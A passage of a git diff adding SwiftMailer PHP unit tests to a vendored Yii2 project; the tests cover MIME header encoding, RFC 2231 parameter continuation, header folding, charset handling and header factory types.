is being used. A + single quote ("'") is used to delimit the character set and language + information at the beginning of the parameter value. Percent signs + ("%") are used as the encoding flag, which agrees with RFC 2047. + + Specifically, an asterisk at the end of a parameter name acts as an + indicator that character set and language information may appear at + the beginning of the parameter value. A single quote is used to + separate the character set, language, and actual value information in + the parameter value string, and an percent sign is used to flag + octets encoded in hexadecimal. For example: + + Content-Type: application/x-stuff; + title*=us-ascii'en-us'This%20is%20%2A%2A%2Afun%2A%2A%2A + + Note that it is perfectly permissible to leave either the character + set or language field blank. Note also that the single quote + delimiters MUST be present even when one of the field values is + omitted. + */ + + $value = str_repeat('a', 20).pack('C', 0x8F).str_repeat('a', 10); + + $encoder = $this->_getParameterEncoder(); + $encoder->shouldReceive('encodeString') + ->once() + ->with($value, 12, 62, \Mockery::any()) + ->andReturn(str_repeat('a', 20).'%8F'.str_repeat('a', 10)); + + $header = $this->_getHeader('Content-Disposition', + $this->_getHeaderEncoder('Q', true), $encoder + ); + $header->setValue('attachment'); + $header->setParameters(array('filename' => $value)); + $header->setMaxLineLength(78); + $header->setLanguage($this->_lang); + $this->assertEquals( + 'attachment; filename*='.$this->_charset."'".$this->_lang."'". + str_repeat('a', 20).'%8F'.str_repeat('a', 10), + $header->getFieldBody() + ); + } + + public function testMultipleEncodedParamLinesAreFormattedCorrectly() + { + /* -- RFC 2231, 4.1. + Character set and language information may be combined with the + parameter continuation mechanism. For example: + + Content-Type: application/x-stuff + title*0*=us-ascii'en'This%20is%20even%20more%20 + title*1*=%2A%2A%2Afun%2A%2A%2A%20 + title*2="isn't it!" + + Note that: + + (1) Language and character set information only appear at + the beginning of a given parameter value. + + (2) Continuations do not provide a facility for using more + than one character set or language in the same + parameter value. + + (3) A value presented using multiple continuations may + contain a mixture of encoded and unencoded segments. + + (4) The first segment of a continuation MUST be encoded if + language and character set information are given. + + (5) If the first segment of a continued parameter value is + encoded the language and character set field delimiters + MUST be present even when the fields are left blank. + */ + + $value = str_repeat('a', 20).pack('C', 0x8F).str_repeat('a', 60); + + $encoder = $this->_getParameterEncoder(); + $encoder->shouldReceive('encodeString') + ->once() + ->with($value, 12, 62, \Mockery::any()) + ->andReturn(str_repeat('a', 20).'%8F'.str_repeat('a', 28)."\r\n". + str_repeat('a', 32)); + + $header = $this->_getHeader('Content-Disposition', + $this->_getHeaderEncoder('Q', true), $encoder + ); + $header->setValue('attachment'); + $header->setParameters(array('filename' => $value)); + $header->setMaxLineLength(78); + $header->setLanguage($this->_lang); + $this->assertEquals( + 'attachment; filename*0*='.$this->_charset."'".$this->_lang."'". + str_repeat('a', 20).'%8F'.str_repeat('a', 28).";\r\n ". + 'filename*1*='.str_repeat('a', 32), + $header->getFieldBody() + ); + } + + public function testToString() + { + $header = $this->_getHeader('Content-Type', + $this->_getHeaderEncoder('Q', true), $this->_getParameterEncoder(true) + ); + $header->setValue('text/html'); + $header->setParameters(array('charset' => 'utf-8')); + $this->assertEquals('Content-Type: text/html; charset=utf-8'."\r\n", + $header->toString() + ); + } + + public function testValueCanBeEncodedIfNonAscii() + { + $value = 'fo'.pack('C', 0x8F).'bar'; + + $encoder = $this->_getHeaderEncoder('Q'); + $encoder->shouldReceive('encodeString') + ->once() + ->with($value, \Mockery::any(), \Mockery::any(), \Mockery::any()) + ->andReturn('fo=8Fbar'); + + $header = $this->_getHeader('X-Foo', $encoder, $this->_getParameterEncoder(true)); + $header->setValue($value); + $header->setParameters(array('lookslike' => 'foobar')); + $this->assertEquals('X-Foo: =?utf-8?Q?fo=8Fbar?=; lookslike=foobar'."\r\n", + $header->toString() + ); + } + + public function testValueAndParamCanBeEncodedIfNonAscii() + { + $value = 'fo'.pack('C', 0x8F).'bar'; + + $encoder = $this->_getHeaderEncoder('Q'); + $encoder->shouldReceive('encodeString') + ->once() + ->with($value, \Mockery::any(), \Mockery::any(), \Mockery::any()) + ->andReturn('fo=8Fbar'); + + $paramEncoder = $this->_getParameterEncoder(); + $paramEncoder->shouldReceive('encodeString') + ->once() + ->with($value, \Mockery::any(), \Mockery::any(), \Mockery::any()) + ->andReturn('fo%8Fbar'); + + $header = $this->_getHeader('X-Foo', $encoder, $paramEncoder); + $header->setValue($value); + $header->setParameters(array('says' => $value)); + $this->assertEquals("X-Foo: =?utf-8?Q?fo=8Fbar?=; says*=utf-8''fo%8Fbar\r\n", + $header->toString() + ); + } + + public function testParamsAreEncodedWithEncodedWordsIfNoParamEncoderSet() + { + $value = 'fo'.pack('C', 0x8F).'bar'; + + $encoder = $this->_getHeaderEncoder('Q'); + $encoder->shouldReceive('encodeString') + ->once() + ->with($value, \Mockery::any(), \Mockery::any(), \Mockery::any()) + ->andReturn('fo=8Fbar'); + + $header = $this->_getHeader('X-Foo', $encoder, null); + $header->setValue('bar'); + $header->setParameters(array('says' => $value)); + $this->assertEquals("X-Foo: bar; says=\"=?utf-8?Q?fo=8Fbar?=\"\r\n", + $header->toString() + ); + } + + public function testLanguageInformationAppearsInEncodedWords() + { + /* -- RFC 2231, 5. + 5. Language specification in Encoded Words + + RFC 2047 provides support for non-US-ASCII character sets in RFC 822 + message header comments, phrases, and any unstructured text field. + This is done by defining an encoded word construct which can appear + in any of these places. Given that these are fields intended for + display, it is sometimes necessary to associate language information + with encoded words as well as just the character set. This + specification extends the definition of an encoded word to allow the + inclusion of such information. This is simply done by suffixing the + character set specification with an asterisk followed by the language + tag. For example: + + From: =?US-ASCII*EN?Q?Keith_Moore?= + */ + + $value = 'fo'.pack('C', 0x8F).'bar'; + + $encoder = $this->_getHeaderEncoder('Q'); + $encoder->shouldReceive('encodeString') + ->once() + ->with($value, \Mockery::any(), \Mockery::any(), \Mockery::any()) + ->andReturn('fo=8Fbar'); + + $paramEncoder = $this->_getParameterEncoder(); + $paramEncoder->shouldReceive('encodeString') + ->once() + ->with($value, \Mockery::any(), \Mockery::any(), \Mockery::any()) + ->andReturn('fo%8Fbar'); + + $header = $this->_getHeader('X-Foo', $encoder, $paramEncoder); + $header->setLanguage('en'); + $header->setValue($value); + $header->setParameters(array('says' => $value)); + $this->assertEquals("X-Foo: =?utf-8*en?Q?fo=8Fbar?=; says*=utf-8'en'fo%8Fbar\r\n", + $header->toString() + ); + } + + public function testSetBodyModel() + { + $header = $this->_getHeader('Content-Type', + $this->_getHeaderEncoder('Q', true), $this->_getParameterEncoder(true) + ); + $header->setFieldBodyModel('text/html'); + $this->assertEquals('text/html', $header->getValue()); + } + + public function testGetBodyModel() + { + $header = $this->_getHeader('Content-Type', + $this->_getHeaderEncoder('Q', true), $this->_getParameterEncoder(true) + ); + $header->setValue('text/plain'); + $this->assertEquals('text/plain', $header->getFieldBodyModel()); + } + + public function testSetParameter() + { + $header = $this->_getHeader('Content-Type', + $this->_getHeaderEncoder('Q', true), $this->_getParameterEncoder(true) + ); + $header->setParameters(array('charset' => 'utf-8', 'delsp' => 'yes')); + $header->setParameter('delsp', 'no'); + $this->assertEquals(array('charset' => 'utf-8', 'delsp' => 'no'), + $header->getParameters() + ); + } + + public function testGetParameter() + { + $header = $this->_getHeader('Content-Type', + $this->_getHeaderEncoder('Q', true), $this->_getParameterEncoder(true) + ); + $header->setParameters(array('charset' => 'utf-8', 'delsp' => 'yes')); + $this->assertEquals('utf-8', $header->getParameter('charset')); + } + + // -- Private helper + + private function _getHeader($name, $encoder, $paramEncoder) + { + $header = new Swift_Mime_Headers_ParameterizedHeader($name, $encoder, + $paramEncoder, new Swift_Mime_Grammar() + ); + $header->setCharset($this->_charset); + + return $header; + } + + private function _getHeaderEncoder($type, $stub = false) + { + $encoder = $this->getMockery('Swift_Mime_HeaderEncoder')->shouldIgnoreMissing(); + $encoder->shouldReceive('getName') + ->zeroOrMoreTimes() + ->andReturn($type); + + return $encoder; + } + + private function _getParameterEncoder($stub = false) + { + return $this->getMockery('Swift_Encoder')->shouldIgnoreMissing(); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/Headers/PathHeaderTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/Headers/PathHeaderTest.php new file mode 100644 index 00000000..a9f35e9d --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/Headers/PathHeaderTest.php @@ -0,0 +1,77 @@ +_getHeader('Return-Path'); + $this->assertEquals(Swift_Mime_Header::TYPE_PATH, $header->getFieldType()); + } + + public function testSingleAddressCanBeSetAndFetched() + { + $header = $this->_getHeader('Return-Path'); + $header->setAddress('chris@swiftmailer.org'); + $this->assertEquals('chris@swiftmailer.org', $header->getAddress()); + } + + public function testAddressMustComplyWithRfc2822() + { + try { + $header = $this->_getHeader('Return-Path'); + $header->setAddress('chr is@swiftmailer.org'); + $this->fail('Addresses not valid according to RFC 2822 addr-spec grammar must be rejected.'); + } catch (Exception $e) { + } + } + + public function testValueIsAngleAddrWithValidAddress() + { + /* -- RFC 2822, 3.6.7. + + return = "Return-Path:" path CRLF + + path = ([CFWS] "<" ([CFWS] / addr-spec) ">" [CFWS]) / + obs-path + */ + + $header = $this->_getHeader('Return-Path'); + $header->setAddress('chris@swiftmailer.org'); + $this->assertEquals('', $header->getFieldBody()); + } + + public function testValueIsEmptyAngleBracketsIfEmptyAddressSet() + { + $header = $this->_getHeader('Return-Path'); + $header->setAddress(''); + $this->assertEquals('<>', $header->getFieldBody()); + } + + public function testSetBodyModel() + { + $header = $this->_getHeader('Return-Path'); + $header->setFieldBodyModel('foo@bar.tld'); + $this->assertEquals('foo@bar.tld', $header->getAddress()); + } + + public function testGetBodyModel() + { + $header = $this->_getHeader('Return-Path'); + $header->setAddress('foo@bar.tld'); + $this->assertEquals('foo@bar.tld', $header->getFieldBodyModel()); + } + + public function testToString() + { + $header = $this->_getHeader('Return-Path'); + $header->setAddress('chris@swiftmailer.org'); + $this->assertEquals('Return-Path: '."\r\n", + $header->toString() + ); + } + + private function _getHeader($name) + { + return new Swift_Mime_Headers_PathHeader($name, new Swift_Mime_Grammar()); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/Headers/UnstructuredHeaderTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/Headers/UnstructuredHeaderTest.php new file mode 100644 index 00000000..2e1dc8ca --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/Headers/UnstructuredHeaderTest.php @@ -0,0 +1,355 @@ +_getHeader('Subject', $this->_getEncoder('Q', true)); + $this->assertEquals(Swift_Mime_Header::TYPE_TEXT, $header->getFieldType()); + } + + public function testGetNameReturnsNameVerbatim() + { + $header = $this->_getHeader('Subject', $this->_getEncoder('Q', true)); + $this->assertEquals('Subject', $header->getFieldName()); + } + + public function testGetValueReturnsValueVerbatim() + { + $header = $this->_getHeader('Subject', $this->_getEncoder('Q', true)); + $header->setValue('Test'); + $this->assertEquals('Test', $header->getValue()); + } + + public function testBasicStructureIsKeyValuePair() + { + /* -- RFC 2822, 2.2 + Header fields are lines composed of a field name, followed by a colon + (":"), followed by a field body, and terminated by CRLF. + */ + $header = $this->_getHeader('Subject', $this->_getEncoder('Q', true)); + $header->setValue('Test'); + $this->assertEquals('Subject: Test'."\r\n", $header->toString()); + } + + public function testLongHeadersAreFoldedAtWordBoundary() + { + /* -- RFC 2822, 2.2.3 + Each header field is logically a single line of characters comprising + the field name, the colon, and the field body. For convenience + however, and to deal with the 998/78 character limitations per line, + the field body portion of a header field can be split into a multiple + line representation; this is called "folding". The general rule is + that wherever this standard allows for folding white space (not + simply WSP characters), a CRLF may be inserted before any WSP. + */ + + $value = 'The quick brown fox jumped over the fence, he was a very very '. + 'scary brown fox with a bushy tail'; + $header = $this->_getHeader('X-Custom-Header', + $this->_getEncoder('Q', true) + ); + $header->setValue($value); + $header->setMaxLineLength(78); //A safe [RFC 2822, 2.2.3] default + /* + X-Custom-Header: The quick brown fox jumped over the fence, he was a very very + scary brown fox with a bushy tail + */ + $this->assertEquals( + 'X-Custom-Header: The quick brown fox jumped over the fence, he was a'. + ' very very'."\r\n".//Folding + ' scary brown fox with a bushy tail'."\r\n", + $header->toString(), '%s: The header should have been folded at 78th char' + ); + } + + public function testPrintableAsciiOnlyAppearsInHeaders() + { + /* -- RFC 2822, 2.2. + A field name MUST be composed of printable US-ASCII characters (i.e., + characters that have values between 33 and 126, inclusive), except + colon. A field body may be composed of any US-ASCII characters, + except for CR and LF. + */ + + $nonAsciiChar = pack('C', 0x8F); + $header = $this->_getHeader('X-Test', $this->_getEncoder('Q', true)); + $header->setValue($nonAsciiChar); + $this->assertRegExp( + '~^[^:\x00-\x20\x80-\xFF]+: [^\x80-\xFF\r\n]+\r\n$~s', + $header->toString() + ); + } + + public function testEncodedWordsFollowGeneralStructure() + { + /* -- RFC 2047, 1. + Generally, an "encoded-word" is a sequence of printable ASCII + characters that begins with "=?", ends with "?=", and has two "?"s in + between. + */ + + $nonAsciiChar = pack('C', 0x8F); + $header = $this->_getHeader('X-Test', $this->_getEncoder('Q', true)); + $header->setValue($nonAsciiChar); + $this->assertRegExp( + '~^X-Test: \=?.*?\?.*?\?.*?\?=\r\n$~s', + $header->toString() + ); + } + + public function testEncodedWordIncludesCharsetAndEncodingMethodAndText() + { + /* -- RFC 2047, 2. + An 'encoded-word' is defined by the following ABNF grammar. The + notation of RFC 822 is used, with the exception that white space + characters MUST NOT appear between components of an 'encoded-word'. + + encoded-word = "=?" charset "?" encoding "?" encoded-text "?=" + */ + + $nonAsciiChar = pack('C', 0x8F); + + $encoder = $this->_getEncoder('Q'); + $encoder->shouldReceive('encodeString') + ->once() + ->with($nonAsciiChar, \Mockery::any(), \Mockery::any(), \Mockery::any()) + ->andReturn('=8F'); + + $header = $this->_getHeader('X-Test', $encoder); + $header->setValue($nonAsciiChar); + $this->assertEquals( + 'X-Test: =?'.$this->_charset.'?Q?=8F?='."\r\n", + $header->toString() + ); + } + + public function testEncodedWordsAreUsedToEncodedNonPrintableAscii() + { + //SPACE and TAB permitted + $nonPrintableBytes = array_merge( + range(0x00, 0x08), range(0x10, 0x19), array(0x7F) + ); + + foreach ($nonPrintableBytes as $byte) { + $char = pack('C', $byte); + $encodedChar = sprintf('=%02X', $byte); + + $encoder = $this->_getEncoder('Q'); + $encoder->shouldReceive('encodeString') + ->once() + ->with($char, \Mockery::any(), \Mockery::any(), \Mockery::any()) + ->andReturn($encodedChar); + + $header = $this->_getHeader('X-A', $encoder); + $header->setValue($char); + + $this->assertEquals( + 'X-A: =?'.$this->_charset.'?Q?'.$encodedChar.'?='."\r\n", + $header->toString(), '%s: Non-printable ascii should be encoded' + ); + } + } + + public function testEncodedWordsAreUsedToEncode8BitOctets() + { + $_8BitBytes = range(0x80, 0xFF); + + foreach ($_8BitBytes as $byte) { + $char = pack('C', $byte); + $encodedChar = sprintf('=%02X', $byte); + + $encoder = $this->_getEncoder('Q'); + $encoder->shouldReceive('encodeString') + ->once() + ->with($char, \Mockery::any(), \Mockery::any(), \Mockery::any()) + ->andReturn($encodedChar); + + $header = $this->_getHeader('X-A', $encoder); + $header->setValue($char); + + $this->assertEquals( + 'X-A: =?'.$this->_charset.'?Q?'.$encodedChar.'?='."\r\n", + $header->toString(), '%s: 8-bit octets should be encoded' + ); + } + } + + public function testEncodedWordsAreNoMoreThan75CharsPerLine() + { + /* -- RFC 2047, 2. + An 'encoded-word' may not be more than 75 characters long, including + 'charset', 'encoding', 'encoded-text', and delimiters. + + ... SNIP ... + + While there is no limit to the length of a multiple-line header + field, each line of a header field that contains one or more + 'encoded-word's is limited to 76 characters. + */ + + $nonAsciiChar = pack('C', 0x8F); + + $encoder = $this->_getEncoder('Q'); + $encoder->shouldReceive('encodeString') + ->once() + ->with($nonAsciiChar, \Mockery::any(), \Mockery::any(), \Mockery::any()) + ->andReturn('=8F'); + //Note that multi-line headers begin with LWSP which makes 75 + 1 = 76 + //Note also that =?utf-8?q??= is 12 chars which makes 75 - 12 = 63 + + //* X-Test: is 8 chars + $header = $this->_getHeader('X-Test', $encoder); + $header->setValue($nonAsciiChar); + + $this->assertEquals( + 'X-Test: =?'.$this->_charset.'?Q?=8F?='."\r\n", + $header->toString() + ); + } + + public function testFWSPIsUsedWhenEncoderReturnsMultipleLines() + { + /* --RFC 2047, 2. + If it is desirable to encode more text than will fit in an 'encoded-word' of + 75 characters, multiple 'encoded-word's (separated by CRLF SPACE) may + be used. + */ + + //Note the Mock does NOT return 8F encoded, the 8F merely triggers + // encoding for the sake of testing + $nonAsciiChar = pack('C', 0x8F); + + $encoder = $this->_getEncoder('Q'); + $encoder->shouldReceive('encodeString') + ->once() + ->with($nonAsciiChar, 8, 63, \Mockery::any()) + ->andReturn('line_one_here'."\r\n".'line_two_here'); + + //Note that multi-line headers begin with LWSP which makes 75 + 1 = 76 + //Note also that =?utf-8?q??= is 12 chars which makes 75 - 12 = 63 + + //* X-Test: is 8 chars + $header = $this->_getHeader('X-Test', $encoder); + $header->setValue($nonAsciiChar); + + $this->assertEquals( + 'X-Test: =?'.$this->_charset.'?Q?line_one_here?='."\r\n". + ' =?'.$this->_charset.'?Q?line_two_here?='."\r\n", + $header->toString() + ); + } + + public function testAdjacentWordsAreEncodedTogether() + { + /* -- RFC 2047, 5 (1) + Ordinary ASCII text and 'encoded-word's may appear together in the + same header field. However, an 'encoded-word' that appears in a + header field defined as '*text' MUST be separated from any adjacent + 'encoded-word' or 'text' by 'linear-white-space'. + + -- RFC 2047, 2. + IMPORTANT: 'encoded-word's are designed to be recognized as 'atom's + by an RFC 822 parser. As a consequence, unencoded white space + characters (such as SPACE and HTAB) are FORBIDDEN within an + 'encoded-word'. + */ + + //It would be valid to encode all words needed, however it's probably + // easiest to encode the longest amount required at a time + + $word = 'w'.pack('C', 0x8F).'rd'; + $text = 'start '.$word.' '.$word.' then end '.$word; + // 'start', ' word word', ' and end', ' word' + + $encoder = $this->_getEncoder('Q'); + $encoder->shouldReceive('encodeString') + ->once() + ->with($word.' '.$word, \Mockery::any(), \Mockery::any(), \Mockery::any()) + ->andReturn('w=8Frd_w=8Frd'); + $encoder->shouldReceive('encodeString') + ->once() + ->with($word, \Mockery::any(), \Mockery::any(), \Mockery::any()) + ->andReturn('w=8Frd'); + + $header = $this->_getHeader('X-Test', $encoder); + $header->setValue($text); + + $headerString = $header->toString(); + + $this->assertEquals('X-Test: start =?'.$this->_charset.'?Q?'. + 'w=8Frd_w=8Frd?= then end =?'.$this->_charset.'?Q?'. + 'w=8Frd?='."\r\n", $headerString, + '%s: Adjacent encoded words should appear grouped with WSP encoded' + ); + } + + public function testLanguageInformationAppearsInEncodedWords() + { + /* -- RFC 2231, 5. + 5. Language specification in Encoded Words + + RFC 2047 provides support for non-US-ASCII character sets in RFC 822 + message header comments, phrases, and any unstructured text field. + This is done by defining an encoded word construct which can appear + in any of these places. Given that these are fields intended for + display, it is sometimes necessary to associate language information + with encoded words as well as just the character set. This + specification extends the definition of an encoded word to allow the + inclusion of such information. This is simply done by suffixing the + character set specification with an asterisk followed by the language + tag. For example: + + From: =?US-ASCII*EN?Q?Keith_Moore?= + */ + + $value = 'fo'.pack('C', 0x8F).'bar'; + + $encoder = $this->_getEncoder('Q'); + $encoder->shouldReceive('encodeString') + ->once() + ->with($value, \Mockery::any(), \Mockery::any(), \Mockery::any()) + ->andReturn('fo=8Fbar'); + + $header = $this->_getHeader('Subject', $encoder); + $header->setLanguage('en'); + $header->setValue($value); + $this->assertEquals("Subject: =?utf-8*en?Q?fo=8Fbar?=\r\n", + $header->toString() + ); + } + + public function testSetBodyModel() + { + $header = $this->_getHeader('Subject', $this->_getEncoder('Q', true)); + $header->setFieldBodyModel('test'); + $this->assertEquals('test', $header->getValue()); + } + + public function testGetBodyModel() + { + $header = $this->_getHeader('Subject', $this->_getEncoder('Q', true)); + $header->setValue('test'); + $this->assertEquals('test', $header->getFieldBodyModel()); + } + + private function _getHeader($name, $encoder) + { + $header = new Swift_Mime_Headers_UnstructuredHeader($name, $encoder, new Swift_Mime_Grammar()); + $header->setCharset($this->_charset); + + return $header; + } + + private function _getEncoder($type, $stub = false) + { + $encoder = $this->getMockery('Swift_Mime_HeaderEncoder')->shouldIgnoreMissing(); + $encoder->shouldReceive('getName') + ->zeroOrMoreTimes() + ->andReturn($type); + + return $encoder; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/MimePartTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/MimePartTest.php new file mode 100644 index 00000000..176207aa --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/MimePartTest.php @@ -0,0 +1,233 @@ +_createMimePart($this->_createHeaderSet(), + $this->_createEncoder(), $this->_createCache() + ); + $this->assertEquals( + Swift_Mime_MimeEntity::LEVEL_ALTERNATIVE, $part->getNestingLevel() + ); + } + + public function testCharsetIsReturnedFromHeader() + { + /* -- RFC 2046, 4.1.2. + A critical parameter that may be specified in the Content-Type field + for "text/plain" data is the character set. This is specified with a + "charset" parameter, as in: + + Content-type: text/plain; charset=iso-8859-1 + + Unlike some other parameter values, the values of the charset + parameter are NOT case sensitive. The default character set, which + must be assumed in the absence of a charset parameter, is US-ASCII. + */ + + $cType = $this->_createHeader('Content-Type', 'text/plain', + array('charset' => 'iso-8859-1') + ); + $part = $this->_createMimePart($this->_createHeaderSet(array( + 'Content-Type' => $cType,)), + $this->_createEncoder(), $this->_createCache() + ); + $this->assertEquals('iso-8859-1', $part->getCharset()); + } + + public function testCharsetIsSetInHeader() + { + $cType = $this->_createHeader('Content-Type', 'text/plain', + array('charset' => 'iso-8859-1'), false + ); + $cType->shouldReceive('setParameter')->once()->with('charset', 'utf-8'); + + $part = $this->_createMimePart($this->_createHeaderSet(array( + 'Content-Type' => $cType,)), + $this->_createEncoder(), $this->_createCache() + ); + $part->setCharset('utf-8'); + } + + public function testCharsetIsSetInHeaderIfPassedToSetBody() + { + $cType = $this->_createHeader('Content-Type', 'text/plain', + array('charset' => 'iso-8859-1'), false + ); + $cType->shouldReceive('setParameter')->once()->with('charset', 'utf-8'); + + $part = $this->_createMimePart($this->_createHeaderSet(array( + 'Content-Type' => $cType,)), + $this->_createEncoder(), $this->_createCache() + ); + $part->setBody('', 'text/plian', 'utf-8'); + } + + public function testSettingCharsetNotifiesEncoder() + { + $encoder = $this->_createEncoder('quoted-printable', false); + $encoder->expects($this->once()) + ->method('charsetChanged') + ->with('utf-8'); + + $part = $this->_createMimePart($this->_createHeaderSet(), + $encoder, $this->_createCache() + ); + $part->setCharset('utf-8'); + } + + public function testSettingCharsetNotifiesHeaders() + { + $headers = $this->_createHeaderSet(array(), false); + $headers->shouldReceive('charsetChanged') + ->zeroOrMoreTimes() + ->with('utf-8'); + + $part = $this->_createMimePart($headers, $this->_createEncoder(), + $this->_createCache() + ); + $part->setCharset('utf-8'); + } + + public function testSettingCharsetNotifiesChildren() + { + $child = $this->_createChild(0, '', false); + $child->shouldReceive('charsetChanged') + ->once() + ->with('windows-874'); + + $part = $this->_createMimePart($this->_createHeaderSet(), + $this->_createEncoder(), $this->_createCache() + ); + $part->setChildren(array($child)); + $part->setCharset('windows-874'); + } + + public function testCharsetChangeUpdatesCharset() + { + $cType = $this->_createHeader('Content-Type', 'text/plain', + array('charset' => 'iso-8859-1'), false + ); + $cType->shouldReceive('setParameter')->once()->with('charset', 'utf-8'); + + $part = $this->_createMimePart($this->_createHeaderSet(array( + 'Content-Type' => $cType,)), + $this->_createEncoder(), $this->_createCache() + ); + $part->charsetChanged('utf-8'); + } + + public function testSettingCharsetClearsCache() + { + $headers = $this->_createHeaderSet(array(), false); + $headers->shouldReceive('toString') + ->zeroOrMoreTimes() + ->andReturn("Content-Type: text/plain; charset=utf-8\r\n"); + + $cache = $this->_createCache(false); + + $entity = $this->_createEntity($headers, $this->_createEncoder(), + $cache + ); + + $entity->setBody("blah\r\nblah!"); + $entity->toString(); + + // Initialize the expectation here because we only care about what happens in setCharset() + $cache->shouldReceive('clearKey') + ->once() + ->with(\Mockery::any(), 'body'); + + $entity->setCharset('iso-2022'); + } + + public function testFormatIsReturnedFromHeader() + { + /* -- RFC 3676. + */ + + $cType = $this->_createHeader('Content-Type', 'text/plain', + array('format' => 'flowed') + ); + $part = $this->_createMimePart($this->_createHeaderSet(array( + 'Content-Type' => $cType,)), + $this->_createEncoder(), $this->_createCache() + ); + $this->assertEquals('flowed', $part->getFormat()); + } + + public function testFormatIsSetInHeader() + { + $cType = $this->_createHeader('Content-Type', 'text/plain', array(), false); + $cType->shouldReceive('setParameter')->once()->with('format', 'fixed'); + + $part = $this->_createMimePart($this->_createHeaderSet(array( + 'Content-Type' => $cType,)), + $this->_createEncoder(), $this->_createCache() + ); + $part->setFormat('fixed'); + } + + public function testDelSpIsReturnedFromHeader() + { + /* -- RFC 3676. + */ + + $cType = $this->_createHeader('Content-Type', 'text/plain', + array('delsp' => 'no') + ); + $part = $this->_createMimePart($this->_createHeaderSet(array( + 'Content-Type' => $cType,)), + $this->_createEncoder(), $this->_createCache() + ); + $this->assertSame(false, $part->getDelSp()); + } + + public function testDelSpIsSetInHeader() + { + $cType = $this->_createHeader('Content-Type', 'text/plain', array(), false); + $cType->shouldReceive('setParameter')->once()->with('delsp', 'yes'); + + $part = $this->_createMimePart($this->_createHeaderSet(array( + 'Content-Type' => $cType,)), + $this->_createEncoder(), $this->_createCache() + ); + $part->setDelSp(true); + } + + public function testFluidInterface() + { + $part = $this->_createMimePart($this->_createHeaderSet(), + $this->_createEncoder(), $this->_createCache() + ); + + $this->assertSame($part, + $part + ->setContentType('text/plain') + ->setEncoder($this->_createEncoder()) + ->setId('foo@bar') + ->setDescription('my description') + ->setMaxLineLength(998) + ->setBody('xx') + ->setBoundary('xyz') + ->setChildren(array()) + ->setCharset('utf-8') + ->setFormat('flowed') + ->setDelSp(true) + ); + } + + // -- Private helpers + + //abstract + protected function _createEntity($headers, $encoder, $cache) + { + return $this->_createMimePart($headers, $encoder, $cache); + } + + protected function _createMimePart($headers, $encoder, $cache) + { + return new Swift_Mime_MimePart($headers, $encoder, $cache, new Swift_Mime_Grammar()); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/SimpleHeaderFactoryTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/SimpleHeaderFactoryTest.php new file mode 100644 index 00000000..0d5573f8 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/SimpleHeaderFactoryTest.php @@ -0,0 +1,168 @@ +_factory = $this->_createFactory(); + } + + public function testMailboxHeaderIsCorrectType() + { + $header = $this->_factory->createMailboxHeader('X-Foo'); + $this->assertInstanceof('Swift_Mime_Headers_MailboxHeader', $header); + } + + public function testMailboxHeaderHasCorrectName() + { + $header = $this->_factory->createMailboxHeader('X-Foo'); + $this->assertEquals('X-Foo', $header->getFieldName()); + } + + public function testMailboxHeaderHasCorrectModel() + { + $header = $this->_factory->createMailboxHeader('X-Foo', + array('foo@bar' => 'FooBar') + ); + $this->assertEquals(array('foo@bar' => 'FooBar'), $header->getFieldBodyModel()); + } + + public function testDateHeaderHasCorrectType() + { + $header = $this->_factory->createDateHeader('X-Date'); + $this->assertInstanceof('Swift_Mime_Headers_DateHeader', $header); + } + + public function testDateHeaderHasCorrectName() + { + $header = $this->_factory->createDateHeader('X-Date'); + $this->assertEquals('X-Date', $header->getFieldName()); + } + + public function testDateHeaderHasCorrectModel() + { + $header = $this->_factory->createDateHeader('X-Date', 123); + $this->assertEquals(123, $header->getFieldBodyModel()); + } + + public function testTextHeaderHasCorrectType() + { + $header = $this->_factory->createTextHeader('X-Foo'); + $this->assertInstanceof('Swift_Mime_Headers_UnstructuredHeader', $header); + } + + public function testTextHeaderHasCorrectName() + { + $header = $this->_factory->createTextHeader('X-Foo'); + $this->assertEquals('X-Foo', $header->getFieldName()); + } + + public function testTextHeaderHasCorrectModel() + { + $header = $this->_factory->createTextHeader('X-Foo', 'bar'); + $this->assertEquals('bar', $header->getFieldBodyModel()); + } + + public function testParameterizedHeaderHasCorrectType() + { + $header = $this->_factory->createParameterizedHeader('X-Foo'); + $this->assertInstanceof('Swift_Mime_Headers_ParameterizedHeader', $header); + } + + public function testParameterizedHeaderHasCorrectName() + { + $header = $this->_factory->createParameterizedHeader('X-Foo'); + $this->assertEquals('X-Foo', $header->getFieldName()); + } + + public function testParameterizedHeaderHasCorrectModel() + { + $header = $this->_factory->createParameterizedHeader('X-Foo', 'bar'); + $this->assertEquals('bar', $header->getFieldBodyModel()); + } + + public function testParameterizedHeaderHasCorrectParams() + { + $header = $this->_factory->createParameterizedHeader('X-Foo', 'bar', + array('zip' => 'button') + ); + $this->assertEquals(array('zip' => 'button'), $header->getParameters()); + } + + public function testIdHeaderHasCorrectType() + { + $header = $this->_factory->createIdHeader('X-ID'); + $this->assertInstanceof('Swift_Mime_Headers_IdentificationHeader', $header); + } + + public function testIdHeaderHasCorrectName() + { + $header = $this->_factory->createIdHeader('X-ID'); + $this->assertEquals('X-ID', $header->getFieldName()); + } + + public function testIdHeaderHasCorrectModel() + { + $header = $this->_factory->createIdHeader('X-ID', 'xyz@abc'); + $this->assertEquals(array('xyz@abc'), $header->getFieldBodyModel()); + } + + public function testPathHeaderHasCorrectType() + { + $header = $this->_factory->createPathHeader('X-Path'); + $this->assertInstanceof('Swift_Mime_Headers_PathHeader', $header); + } + + public function testPathHeaderHasCorrectName() + { + $header = $this->_factory->createPathHeader('X-Path'); + $this->assertEquals('X-Path', $header->getFieldName()); + } + + public function 